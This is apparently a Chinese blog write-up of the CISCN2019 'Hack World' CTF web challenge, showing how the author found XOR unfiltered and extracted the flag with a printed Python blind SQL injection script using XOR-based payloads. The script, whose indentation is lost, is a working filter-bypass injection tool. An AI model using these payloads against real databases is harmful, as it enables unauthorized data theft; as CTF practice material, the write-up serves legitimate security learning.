CISCN2019 华北赛区 Day2 Web1]Hack World

随便试了几个数字,都正常弹出信息。

输入1 or  1=1被检测到了。

fuzz一下得到异或符号^和许多函数是未被检测到的,可以考虑异或注入。

1^1结果为0

1^0结果为1,我们可以将其中一个的的值改为一个条件判断语句。贴一个盲注脚本

import requests

url = "http://2865189d-21d9-40bf-b680-13ac581683f8.node4.buuoj.cn:81/"
res = ""

try:
for i in range(1, 50):
for j in range(1, 127):
payload = "1^if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1)" % (i, j)
data = {"id": payload}
r = requests.post(url, data)
print(payload)
if "Hello, glzjin wants a girlfriend." in r.text:##说明payload结果为1,即if语句的结果为0,也就是ascii函数的结果为正确的
res += (chr(j))
print(res)
break
except:
print("end ....")

print(res)

最后得到flag

 

posted @ 2021-08-30 20:27  C10ud  阅读(42)  评论(0编辑  收藏  举报